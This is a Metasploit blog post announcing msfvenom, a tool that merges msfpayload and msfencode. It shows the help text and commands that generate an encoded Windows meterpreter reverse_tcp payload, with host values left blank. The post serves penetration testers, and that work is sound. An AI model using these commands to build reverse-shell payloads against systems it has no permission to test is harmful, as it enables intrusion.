Last updated at Wed, 27 Sep 2017 21:23:07 GMT

The Metasploit Framework has included the useful tools msfpayload and msfencode for quite sometime. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules. Now I would like to introduce a new tool which I have been working on for the past week, msfvenom. This tool combines all the functionality of msfpayload and msfencode in a single tool.

Merging these two tools into a single tool just made sense. It standardizes the command line options, speeds things up a bit by using a single framework instance, handles all possible output formats, and brings some sanity to payload generation.

The usage of msfvenom is fairly straight forward:

fahrenheit:msf3 bannedit$ ./msfvenom -h  
Usage: ./msfvenom [options] <var=val>  
    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads  
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all  
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload  
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war  
    -e, --encoder    [encoder]       The encoder to use  
    -a, --arch       [architecture]  The architecture to use  
        --platform   [platform]      The platform of the payload  
    -s, --space      [length]        The maximum size of the resulting payload  
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'  
    -i, --iterations [count]         The number of times to encode the payload  
    -x, --template   [path]          Specify a custom executable file to use as a template  
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread  
    -h, --help                       Show this message  

All these options are mappings of the msfpayload and msfencode options. Some minor things were changed to standardize things a bit. One change was the method of specifying the payload. The -p flag must be used to set the payload. The var=val pairs used to setup the datastore options for the payload still work the same way as msfpayload and can occur anywhere within the command line.

Here is an example of using the tool to encode a meterpreter/reverse_tcp payload:

fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=  
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)  
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)  
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)  
buf =   

The above example generates a meterpreter/reverse_tcp payload in the ruby output format. The payload is encoded three times using shikata_ga_nai which was automatically choosen based on the encoder modules ranking. The -s option specifies the output should not exceed 480 bytes. Finally the LHOST= portion of the command sets the LHOST variable for use with in the payload.

The following shows a quick speed comparison of the tools performing the same task:

fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST= -f ruby 1> /dev/null  
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)  
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)  
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)  
real    0m2.744s  
user    0m2.380s  
sys    0m0.367s  
fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST= R|./msfencode -c 3 1> /dev/null  
[*] x86/shikata_ga_nai succeeded with size 321 (iteration=1)   
[*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)  
[*] x86/shikata_ga_nai succeeded with size 375 (iteration=3)   
real    0m3.070s  
user    0m4.227s  
sys    0m0.778s  

We can see msfvenom is slightly faster due to the use of a single framework instance.

The tool is still in its infancy and I am sure there are still a few bugs, so don't hesitate to give me feedback. If you find a bug or have a feature idea feel free to make a redmine ticket on We will be shipping msfpayload and msfencode as a fallback until msfvenom has matured a little more.